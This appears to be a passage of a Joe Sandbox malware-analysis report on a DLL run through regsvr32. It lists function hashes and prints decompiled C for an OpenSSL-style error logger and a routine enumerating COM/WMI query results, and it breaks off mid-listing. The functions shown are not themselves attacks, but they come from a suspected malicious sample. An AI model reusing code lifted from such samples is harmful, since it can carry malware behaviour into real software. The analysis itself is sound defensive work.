Instruction ID: bf36167437f499775b964aa05df899c3542766e47bc23316e0a9668a74fea320
Opcode Fuzzy Hash: 2c5b948028838e37151a6a395daf435b380c18c11738c13e8c37e0e0b79f3222
Instruction Fuzzy Hash: 37514933D04508EFEB04DFA8D94279DFBB2EF94324F2581A8C595A7185CB356A20DB85

Uniqueness

Uniqueness Score: -1.00%

Function 10011721, Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3279c7360044e775145a9a602c20a834202179a86470021b2e3d7820d8c5b85b
Instruction ID: 21b5a58fd64629ee1bad54e8d660da440883247d04645fbc67241086693fec4e
Opcode Fuzzy Hash: 3279c7360044e775145a9a602c20a834202179a86470021b2e3d7820d8c5b85b
Instruction Fuzzy Hash: AD51D875A205668BE719DF08DCE0A3DB3B2FB49351F19443CC1079B792CB36A952DB44

Uniqueness

Uniqueness Score: -1.00%

Function 010DBC4E, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbd064a8e87295c5ec8767817bc10cfac9786d79407e7a454dc119b97d9af4dd
Instruction ID: 2690c0213f8dea9fe63f8cc8ea88176b46ef72ebcda48f8e1b94a3377be4688a
Opcode Fuzzy Hash: fbd064a8e87295c5ec8767817bc10cfac9786d79407e7a454dc119b97d9af4dd
Instruction Fuzzy Hash: 9B419472910704AFFB40CE38C88A39A7B70FF85735F288369DD689D1D6C77882518A98

Uniqueness

Uniqueness Score: -1.00%

Function 010D90DE, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c45d394c16f1bdd82b6ec5af972d83f6283636fb50782a3772ece73d4ff1b24a
Instruction ID: 8f3542e839b4fcf95de13cef4afb75456d7611f9613b50ea6aacc6f3409624b2
Opcode Fuzzy Hash: c45d394c16f1bdd82b6ec5af972d83f6283636fb50782a3772ece73d4ff1b24a
Instruction Fuzzy Hash: 15419C72810B05AFEB048FB9C84939A3B70FF51335F288369AD799A1D5C3B586528F54

Uniqueness

Uniqueness Score: -1.00%

Function 010D875E, Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 608d782ffb33cb2793ba1d6afd6ad6df672d99fd37c7eb3e70e5593aad92e6a9
Instruction ID: 089f697047ede47077b45c93ef876d742b67db931c72c6374554c4776aa44235
Opcode Fuzzy Hash: 608d782ffb33cb2793ba1d6afd6ad6df672d99fd37c7eb3e70e5593aad92e6a9
Instruction Fuzzy Hash: E7415C72C10604ABEF049F65C84939A7771FF40336F14C26AED399E1D2E3358A228F58

Uniqueness

Uniqueness Score: -1.00%

Function 010D9664, Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7e471251952023baf8e7661bfd672ee0eca393afc935c34c587dfccf4240379
Instruction ID: bc86819305edfeefba0f559d9f14a74ac77e75bb96d785258acfb0db4f787150
Opcode Fuzzy Hash: c7e471251952023baf8e7661bfd672ee0eca393afc935c34c587dfccf4240379
Instruction Fuzzy Hash: 0D413F72811604EBEB04CF78CA4939E7B74FF80739F24C399AC245A0D6C7784B11AB54

Uniqueness

Uniqueness Score: -1.00%

Function 010D88DE, Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3913121b836eae1aa00f5c6b37bd2e60915ee55ebd592a8862ab4569f0b3903
Instruction ID: 03143964738f0b96ed42c11177fe1d16f5fefe6a83f31f413c88551392539a5b
Opcode Fuzzy Hash: e3913121b836eae1aa00f5c6b37bd2e60915ee55ebd592a8862ab4569f0b3903
Instruction Fuzzy Hash: 90415E32810A24ABEF058F38C8493C97B70FF4173AF28C769AC799D0D5D7744B518A94

Uniqueness

Uniqueness Score: -1.00%

Function 010DA637, Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1471b52dee8ea4b107a0041b20e2fb1dde8522b64a1995444503363b5104b481
Instruction ID: bba312f851ae722988ad31f3323846448132a8e43c905e8f3f01e0c457baf5a7
Opcode Fuzzy Hash: 1471b52dee8ea4b107a0041b20e2fb1dde8522b64a1995444503363b5104b481
Instruction Fuzzy Hash: 2D417172910605EFEB04CF78C94639A7A72EF40772F24C36AECA99D4D5C3748760DA98

Uniqueness

Uniqueness Score: -1.00%

Function 010D94F8, Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2646fb20a98496c493dcea73316260acb370109adec5a6d98b470737b7dfd370
Instruction ID: cec4d12a562658d96264c1f7dcc12db35229f6b755aabed1842f0fcbb621439d
Opcode Fuzzy Hash: 2646fb20a98496c493dcea73316260acb370109adec5a6d98b470737b7dfd370
Instruction Fuzzy Hash: 124162B2814640DFEB048F66C84579A3660FFC0335F18C399AD299E1DAC73449359F68

Uniqueness

Uniqueness Score: -1.00%

Function 010DBAEC, Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d957bc9f000a50942a228aa2b14b6d7aec5518ebd3d6a882f58df55c30da39a8
Instruction ID: ea12046f25cc5e82c9de2989965e1d9fd68018d3b6f78e1bc9ad8c7073f5a78d
Opcode Fuzzy Hash: d957bc9f000a50942a228aa2b14b6d7aec5518ebd3d6a882f58df55c30da39a8
Instruction Fuzzy Hash: BA31C533820604DBEB048E74C94A79E3AF0FF80375F29C2BADC658A0D6C77897509B54

Uniqueness

Uniqueness Score: -1.00%

Function 010DB877, Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2eb606a8fb28b743ebb25dbc58197222a59fdbc3d80dfad987ab3c3ecc92c3a
Instruction ID: 8deffaa99f9436e7af4a2fc539c42bdc1c077d54bacd9b9dac369bc6ba09538a
Opcode Fuzzy Hash: c2eb606a8fb28b743ebb25dbc58197222a59fdbc3d80dfad987ab3c3ecc92c3a
Instruction Fuzzy Hash: E7319232811A049BEB04CE38C85679A7775FF82330F2A8369FE299D0D9D7784B51AB54

Uniqueness

Uniqueness Score: -1.00%

Function 010DAB67, Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f3feaae896a4e79aa348d8c3a28e89c3bec01fdc9fc83a6dfb0a6a23023c8ce
Instruction ID: a89fbdb087c9ecf9ae0d31ed9287c6c7741f0fe116ba9120b18248b7a811dce1
Opcode Fuzzy Hash: 6f3feaae896a4e79aa348d8c3a28e89c3bec01fdc9fc83a6dfb0a6a23023c8ce
Instruction Fuzzy Hash: A931B2729106059FEB04CE79CD4A78A3B21EF81374F18C369EC399A1D5D33886619F94

Uniqueness

Uniqueness Score: -1.00%

Function 010DAA35, Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24ebfef229c6da47679f9c125dff32108ee943cf6d97ae67ddcee1b2e2fb737e
Instruction ID: 9031695498d9be136ea46959be2c0488f195ffbbc202522ea3af9d98a5242df4
Opcode Fuzzy Hash: 24ebfef229c6da47679f9c125dff32108ee943cf6d97ae67ddcee1b2e2fb737e
Instruction Fuzzy Hash: 55316FB3810644DBEF04CE28CD4A39A3771EBC0335F29836AAD39AE0D5D7785B218A54

Uniqueness

Uniqueness Score: -1.00%

Function 010D9939, Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b091e10e316248a511275f841b97c18a00ea0498bde8651a4a1c9919ab23bee
Instruction ID: d996c82208fb105ac944df15cda203519d95c977c57cdac1f47a83b8e3379d2d
Opcode Fuzzy Hash: 0b091e10e316248a511275f841b97c18a00ea0498bde8651a4a1c9919ab23bee
Instruction Fuzzy Hash: CC31E7738106019BFB048E38CD5579A3761EF80335F2D8379DD748D1DACB799552CA98

Uniqueness

Uniqueness Score: -1.00%

Function 1001B6CA, Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d1be15078e86140040cd15e3c8970a2e005b55e780db746b134c895da49f953
Instruction ID: 03ba372665314e14b413942a261062bf9de14c088ae09a4e6c75ba96b958e9c5
Opcode Fuzzy Hash: 2d1be15078e86140040cd15e3c8970a2e005b55e780db746b134c895da49f953
Instruction Fuzzy Hash: F5214A366215118FE350DF29D888A4673E6FB89318F6889B9D519CF282C777E853CB40

Uniqueness

Uniqueness Score: -1.00%

Function 100061EF, Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 214
registryfilewindowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E100061EF(char* _a4, char _a8) {
				void* _v8;
				CHAR* _v12;
				char _v13;
				void _v268;
				signed int _v272;
				int _v276;
				long _v280;
				void* _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				void* _v300;
				CHAR* _v304;
				long _v308;
				intOrPtr* _v312;
				intOrPtr _v316;
				char _v317;
				intOrPtr _v324;
				signed int _v328;
				int _t152;
				signed short _t162;
				signed short _t163;
				signed short _t164;
				signed short _t165;
				int _t182;

				_v8 = GetStdHandle(0xfffffff4);
				if(_v8 == 0 || GetFileType(_v8) == 0) {
					if(1 == 0) {
						do {
							_v312 = _a4;
							_v316 = _v312 + 1;
							do {
								_v317 =  *_v312;
								_v312 = _v312 + 1;
							} while (_v317 != 0);
							_v324 = _v312 - _v316;
							_v292 = _v324 + 1;
							_v284 = malloc(_v292 << 1);
							if(_v284 != 0) {
								if(MultiByteToWideChar(0, 0, _a4, _v292, _v284, _v292) != 0) {
									L17:
									_v288 = _v288 & 0x00000000;
									while(_v288 < _v292) {
										if(( *(_v284 + _v288 * 2) & 0x0000ffff) != 0x25) {
											L39:
											_v288 = _v288 + 1;
											continue;
										} else {
											goto L21;
										}
										do {
											L21:
											_v296 = _v296 & 0x00000000;
											_v328 =  *(_v284 + 2 + _v288 * 2) & 0x0000ffff;
											if(_v328 > 0x43) {
												if(_v328 == 0x53) {
													_t162 = 0x73;
													 *(_v284 + 2 + _v288 * 2) = _t162;
												} else {
													if(_v328 == 0x63) {
														_t163 = 0x43;
														 *(_v284 + 2 + _v288 * 2) = _t163;
													} else {
														if(_v328 == 0x73) {
															_t164 = 0x53;
															 *(_v284 + 2 + _v288 * 2) = _t164;
														}
													}
												}
												goto L38;
											}
											if(_v328 == 0x43) {
												_t165 = 0x63;
												 *(_v284 + 2 + _v288 * 2) = _t165;
												goto L38;
											}
											if(_v328 == 0x2a) {
												L33:
												_v288 = _v288 + 1;
												_v296 = 1;
												goto L38;
											}
											if(_v328 <= 0x2c) {
												goto L38;
											}
											if(_v328 <= 0x2e) {
												goto L33;
											}
											if(_v328 <= 0x2f) {
												goto L38;
											}
											if(_v328 <= 0x39) {
												goto L33;
											}
											L38:
										} while (_v296 != 0);
										goto L39;
									}
									goto L40;
								}
								_v288 = _v288 & 0x00000000;
								while(_v288 < _v292) {
									 *(_v284 + _v288 * 2) = _a4[_v288];
									_v288 = _v288 + 1;
								}
								goto L17;
							}
							_v12 = L"no stack?";
							break;
							L40:
							_v12 = _v284;
						} while (0 != 0);
						L41:
						_v272 =  &_a8;
						_vsnprintf( &_v268, 0xff, _v12, _v272);
						_v13 = 0;
						_v272 = _v272 & 0x00000000;
						if(GetVersion() >= 0x80000000 || E100060C6() <= 0) {
							return MessageBoxA(0,  &_v268, "OpenSSL: FATAL", 0x10);
						} else {
							_t152 = RegisterEventSourceA(0, "OpenSSL");
							_v300 = _t152;
							if(_v300 != 0) {
								_v304 =  &_v268;
								ReportEventA(_v300, 1, 0, 0, 0, 1, 0,  &_v304, 0);
								_t152 = DeregisterEventSource(_v300);
							}
							return _t152;
						}
					}
					_v12 = _a4;
					goto L41;
				} else {
					_v272 =  &_a8;
					_v276 = _vsnprintf( &_v268, 0x100, _a4, _v272);
					if(_v276 >= 0) {
						_v308 = _v276;
					} else {
						_v308 = 0x100;
					}
					_t182 = WriteFile(_v8,  &_v268, _v308,  &_v280, 0);
					_v272 = _v272 & 0x00000000;
					return _t182;
				}
			}

0x10006200
0x10006207
0x10006296
0x100062a3
0x100062a6
0x100062b3
0x100062b9
0x100062c1
0x100062c7
0x100062cd
0x100062e2
0x100062ef
0x10006305
0x10006312
0x10006341
0x10006386
0x10006386
0x1000639c
0x100063c1
0x100064ce
0x10006396
0x00000000
0x00000000
0x00000000
0x00000000
0x100063c7
0x100063c7
0x100063c7
0x100063df
0x100063ec
0x1000643c
0x10006483
0x10006490
0x1000643e
0x10006445
0x10006499
0x100064a6
0x10006447
0x1000644e
0x1000646d
0x1000647a
0x1000647a
0x1000644e
0x10006445
0x00000000
0x1000643c
0x100063f5
0x100064af
0x100064bc
0x00000000
0x100064bc
0x10006402
0x10006452
0x10006459
0x1000645f
0x00000000
0x1000645f
0x1000640b
0x00000000
0x00000000
0x10006418
0x00000000
0x00000000
0x10006421
0x00000000
0x00000000
0x1000642e
0x00000000
0x00000000
0x100064c1
0x100064c1
0x00000000
0x100063c7
0x00000000
0x1000639c
0x10006343
0x10006359
0x10006380
0x10006353
0x10006353
0x00000000
0x10006359
0x10006314
0x00000000
0x100064d3
0x100064d9
0x100064dc
0x100064e4
0x100064e7
0x10006502
0x1000650b
0x1000650f
0x10006521
0x00000000
0x1000652c
0x10006533
0x10006539
0x10006546
0x1000654e
0x1000656f
0x1000657b
0x1000657b
0x00000000
0x10006546
0x10006521
0x1000629b
0x00000000
0x1000621a
0x1000621d
0x10006241
0x1000624e
0x10006262
0x10006250
0x10006250
0x10006250
0x10006281
0x10006287
0x00000000
0x10006287

APIs

GetStdHandle.KERNEL32(000000F4), ref: 100061FA
GetFileType.KERNEL32(00000000), ref: 10006210
_vsnprintf.MSVCRT ref: 10006238
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 10006281
malloc.MSVCRT ref: 100062FE
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 10006339
_vsnprintf.MSVCRT ref: 10006502
GetVersion.KERNEL32 ref: 10006516
RegisterEventSourceA.ADVAPI32(00000000,OpenSSL), ref: 10006533
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 1000656F
DeregisterEventSource.ADVAPI32(00000000), ref: 1000657B
MessageBoxA.USER32 ref: 10006593

Strings

OpenSSL, xrefs: 1000652C
OpenSSL: FATAL, xrefs: 10006585
s, xrefs: 10006447

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: Event$FileSource_vsnprintf$ByteCharDeregisterHandleMessageMultiRegisterReportTypeVersionWideWritemalloc
String ID: OpenSSL$OpenSSL: FATAL$s
API String ID: 4234056380-3754589118
Opcode ID: 48f54b10b2ff2641796209035952b50554da30fe84fe4b575142dd629d8d4823
Instruction ID: 08901cf8200e700fa60f418af274626004ac12749d3be5a0a9ef18ced00fff02
Opcode Fuzzy Hash: 48f54b10b2ff2641796209035952b50554da30fe84fe4b575142dd629d8d4823
Instruction Fuzzy Hash: 48A1F074D01228DFEB64CB54CC85BD8B7B2EB09391F2080DAEA49A6295D7709FD5CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1000985A, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 375
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E1000985A(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v12;
				char _v16;
				signed int _v20;
				void* _v24;
				char _v28;
				signed int _v32;
				void* _v36;
				signed int _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				short _v64;
				signed int _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v608;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t164;
				char _t170;
				signed int _t177;
				intOrPtr* _t181;
				signed int _t182;
				signed int _t187;
				intOrPtr* _t188;
				signed int _t190;
				intOrPtr* _t195;
				signed int _t196;
				signed int _t199;
				intOrPtr* _t200;
				intOrPtr _t209;
				char _t215;
				signed int _t217;
				intOrPtr* _t218;
				intOrPtr _t220;
				intOrPtr* _t221;
				signed int _t222;
				signed int _t225;
				intOrPtr _t226;
				signed int _t228;
				intOrPtr _t242;
				intOrPtr _t244;
				char* _t246;
				intOrPtr* _t247;
				intOrPtr* _t252;
				void* _t257;
				void* _t279;
				intOrPtr _t283;
				intOrPtr _t284;
				intOrPtr _t297;
				intOrPtr _t298;
				void* _t314;
				signed int _t316;
				intOrPtr* _t318;
				intOrPtr* _t319;
				intOrPtr* _t320;
				intOrPtr* _t322;
				intOrPtr* _t323;
				intOrPtr* _t324;

				_t314 = 0;
				_v36 = 0;
				_v40 = 0;
				_t252 = E10009CB8(__ecx, 0, _a4);
				_v80 = _t252;
				if(_t252 != 0) {
					_t164 = E10009568(0x10);
					_pop(_t257);
					_v32 = _t164;
					__eflags = _t164;
					if(_t164 == 0) {
						L53:
						E100094F4( &_v40, 0xfffffffe);
						E10009770( &_v80);
						return _v32;
					}
					_v20 = E10008A90(_t257, 0x7b0);
					 *_t323 = 0x4e9;
					_t170 = E10008A90(_t257);
					_push(0);
					_push(_a8);
					_v52 = _t170;
					_push(_t170);
					_push(_a12);
					_v40 = E1000ABBC(_v20);
					E1000A741( &_v20);
					E1000A741( &_v52);
					_t324 = _t323 + 0x20;
					__eflags = _v40;
					if(_v40 != 0) {
						_t318 = __imp__#2;
						_v56 =  *_t318(_v40);
						_t177 = E10008A90(_t257, 0xafe);
						_v20 = _t177;
						_v52 =  *_t318(_t177);
						E1000A741( &_v20);
						_t181 =  *_t252;
						_t182 =  *((intOrPtr*)( *_t181 + 0x50))(_t181, _v52, _v56, 0, 0,  &_v36);
						__eflags = _t182;
						if(_t182 != 0) {
							L52:
							_t319 = __imp__#6;
							 *_t319(_v56);
							 *_t319(_v52);
							goto L53;
						}
						_v24 = 0;
						_v20 = 0;
						while(1) {
							__eflags = _v36 - _t314;
							if(_v36 == _t314) {
								break;
							}
							_t187 =  *((intOrPtr*)( *_v36 + 0x10))(_v36, 0xea60, 1,  &_v24,  &_v88);
							__eflags = _t187;
							if(_t187 != 0) {
								L48:
								_t188 = _v36;
								 *((intOrPtr*)( *_t188 + 8))(_t188);
								_t190 = _v20;
								__eflags = _t190 - _t314;
								if(_t190 <= _t314) {
									E100094F4( &_v32, _t314);
								} else {
									_t320 = _v32;
									 *((intOrPtr*)(_t320 + 8)) = _t190;
									 *_t320 = E1000AEB7(_a4);
									 *((intOrPtr*)(_t320 + 4)) = E1000AEB7(_a8);
								}
								goto L52;
							}
							_v16 = _t314;
							_v44 = _t314;
							_v12 = _t314;
							_v28 = _t314;
							__eflags = _v88 - _t314;
							if(_v88 == _t314) {
								goto L48;
							}
							_t195 = _v24;
							_t196 =  *((intOrPtr*)( *_t195 + 0x1c))(_t195, _t314, 0x40, _t314,  &_v28);
							__eflags = _t196;
							if(_t196 >= 0) {
								__imp__#20(_v28, 1,  &_v16);
								__imp__#19(_v28, 1,  &_v44);
								_t316 = _v20 << 3;
								_t322 = _v32 + 0xc;
								_t48 = _t316 + 8; // 0x1000145d
								_t199 = E1000959D(_t48, _t322, _t316);
								__eflags = _t199;
								if(_t199 == 0) {
									L47:
									__imp__#16(_v28);
									_t200 = _v24;
									 *((intOrPtr*)( *_t200 + 8))(_t200);
									_t314 = 0;
									__eflags = 0;
									goto L48;
								}
								 *(_t316 +  *_t322) = _v44 - _v16 + 1;
								 *((intOrPtr*)(_t316 +  *_t322 + 4)) = E10009568( *(_t316 +  *_t322) << 3);
								_t209 =  *_t322;
								__eflags =  *(_t316 + _t209 + 4);
								if( *(_t316 + _t209 + 4) == 0) {
									__eflags = _v32 + 0xc;
									E100094F4(_v32 + 0xc, 0);
									E100094F4( &_v32, 0);
									goto L47;
								}
								_t215 = _v16;
								_v12 = _t215;
								while(1) {
									__eflags = _t215 - _v44;
									if(_t215 > _v44) {
										break;
									}
									_t217 =  &_v12;
									_v48 = 0;
									__imp__#25(_v28, _t217,  &_v48);
									__eflags = _t217;
									if(_t217 < 0) {
										break;
									}
									_t220 = E1000AEB7(_v48);
									_t65 =  *_t322 + 4; // 0xc4830000
									 *((intOrPtr*)( *((intOrPtr*)(_t316 + _t65)) + (_v12 - _v16) * 8)) = _t220;
									_t221 = _v24;
									_t278 =  *_t221;
									_t222 =  *((intOrPtr*)( *_t221 + 0x10))(_t221, _v48, 0,  &_v72, 0, 0);
									__eflags = _t222;
									if(_t222 < 0) {
										L40:
										__imp__#6(_v48);
										_t134 =  &_v12;
										 *_t134 = _v12 + 1;
										__eflags =  *_t134;
										_t215 = _v12;
										continue;
									}
									_v84 = E10008A90(_t278, 0xd13);
									 *_t324 = 0xd18;
									_v92 = E10008A90(_t278);
									_t225 = _v72 & 0x0000ffff;
									_pop(_t279);
									__eflags = _t225 - 0xb;
									if(__eflags > 0) {
										__eflags = _t225 - 0x10;
										if(_t225 == 0x10) {
											L36:
											_t226 = E10009568(0x18);
											_t111 =  *_t322 + 4; // 0xc4830000
											 *((intOrPtr*)( *((intOrPtr*)(_t316 + _t111)) + 4 + (_v12 - _v16) * 8)) = _t226;
											_t283 =  *_t322;
											_t228 = _v12 - _v16;
											_t120 = _t283 + 4; // 0xc4830000
											_t284 =  *((intOrPtr*)(_t316 + _t120));
											__eflags =  *(_t284 + 4 + _t228 * 8);
											if( *(_t284 + 4 + _t228 * 8) == 0) {
												L39:
												E1000A741( &_v84);
												E1000A741( &_v92);
												__imp__#9( &_v72);
												goto L40;
											}
											_push(_v64);
											_push(L"%d");
											L38:
											_t126 =  *_t322 + 4; // 0xc4830000
											_push(0xc);
											_push( *((intOrPtr*)( *((intOrPtr*)(_t316 + _t126)) + 4 + _t228 * 8)));
											E1000AF04();
											_t324 = _t324 + 0x10;
											goto L39;
										}
										__eflags = _t225 + 0xffffffef - 2;
										if(_t225 + 0xffffffef > 2) {
											L33:
											__eflags = _v72 & 0x00002000;
											if((_v72 & 0x00002000) == 0) {
												_v76 = E10008A90(_t279, 0xc24);
												E1000AF04( &_v608, 0x100, _t236, _v72 & 0x0000ffff);
												E1000A741( &_v76);
												_t242 = E1000AEB7( &_v608);
												_t324 = _t324 + 0x1c;
												L28:
												_t82 =  *_t322 + 4; // 0xc4830000
												 *((intOrPtr*)( *((intOrPtr*)(_t316 + _t82)) + 4 + (_v12 - _v16) * 8)) = _t242;
												goto L39;
											}
											_t242 = E10009EF2( &_v72);
											L27:
											goto L28;
										}
										_t244 = E10009568(0x18);
										_t87 =  *_t322 + 4; // 0xc4830000
										 *((intOrPtr*)( *((intOrPtr*)(_t316 + _t87)) + 4 + (_v12 - _v16) * 8)) = _t244;
										_t297 =  *_t322;
										_t228 = _v12 - _v16;
										_t96 = _t297 + 4; // 0xc4830000
										_t298 =  *((intOrPtr*)(_t316 + _t96));
										__eflags =  *(_t298 + 4 + _t228 * 8);
										if( *(_t298 + 4 + _t228 * 8) == 0) {
											goto L39;
										}
										_push(_v64);
										_push(L"%u");
										goto L38;
									}
									if(__eflags == 0) {
										__eflags = _v64 - 0xffff;
										_t246 = L"TRUE";
										if(_v64 != 0xffff) {
											_t246 = L"FALSE";
										}
										_push(_t246);
										L26:
										_t242 = E1000AEB7();
										goto L27;
									}
									__eflags = _t225 - 1;
									if(__eflags == 0) {
										goto L39;
									}
									if(__eflags <= 0) {
										goto L33;
									}
									__eflags = _t225 - 3;
									if(_t225 <= 3) {
										goto L36;
									}
									__eflags = _t225 - 8;
									if(_t225 != 8) {
										goto L33;
									}
									_push(_v64);
									goto L26;
								}
								__imp__#16(_v28);
								_t218 = _v24;
								 *((intOrPtr*)( *_t218 + 8))(_t218);
								_t314 = 0;
								__eflags = 0;
								L43:
								_t141 =  &_v20;
								 *_t141 = _v20 + 1;
								__eflags =  *_t141;
								continue;
							}
							_t247 = _v24;
							 *((intOrPtr*)( *_t247 + 8))(_t247);
							goto L43;
						}
						goto L48;
					}
					E100094F4( &_v32, 0);
					goto L53;
				}
				return 0;
			}

0x10009869
0x1000986b
0x1000986e
0x10009876
0x10009879
0x1000987e
0x10009889
0x1000988e
0x1000988f
0x10009892
0x10009894
0x10009c9b
0x10009ca1
0x10009cab
0x00000000
0x10009cb0
0x100098a4
0x100098a7
0x100098ae
0x100098b3
0x100098b4
0x100098b7
0x100098ba
0x100098bb
0x100098c6
0x100098cd
0x100098d6
0x100098db
0x100098de
0x100098e1
0x100098f7
0x10009904
0x10009907
0x1000990e
0x10009913
0x1000991a
0x1000991f
0x10009931
0x10009934
0x10009936
0x10009c8b
0x10009c8e
0x10009c94
0x10009c99
0x00000000
0x10009c99
0x1000993c
0x1000993f
0x10009c19
0x10009c19
0x10009c1c
0x00000000
0x00000000
0x1000995e
0x10009961
0x10009963
0x10009c52
0x10009c52
0x10009c58
0x10009c5b
0x10009c5e
0x10009c60
0x10009c84
0x10009c62
0x10009c62
0x10009c68
0x10009c73
0x10009c7a
0x10009c7a
0x00000000
0x10009c8a
0x10009969
0x1000996c
0x1000996f
0x10009972
0x10009975
0x10009978
0x00000000
0x00000000
0x1000997e
0x1000998c
0x1000998f
0x10009991
0x100099aa
0x100099b9
0x100099c5
0x100099c8
0x100099cb
0x100099cf
0x100099d5
0x100099d7
0x10009c3e
0x10009c41
0x10009c47
0x10009c4d
0x10009c50
0x10009c50
0x00000000
0x10009c50
0x100099e6
0x100099fa
0x100099fe
0x10009a02
0x10009a06
0x10009c27
0x10009c2c
0x10009c36
0x00000000
0x10009c3b
0x10009a0c
0x10009a0f
0x10009bf9
0x10009bf9
0x10009bfc
0x00000000
0x00000000
0x10009a1b
0x10009a22
0x10009a25
0x10009a2b
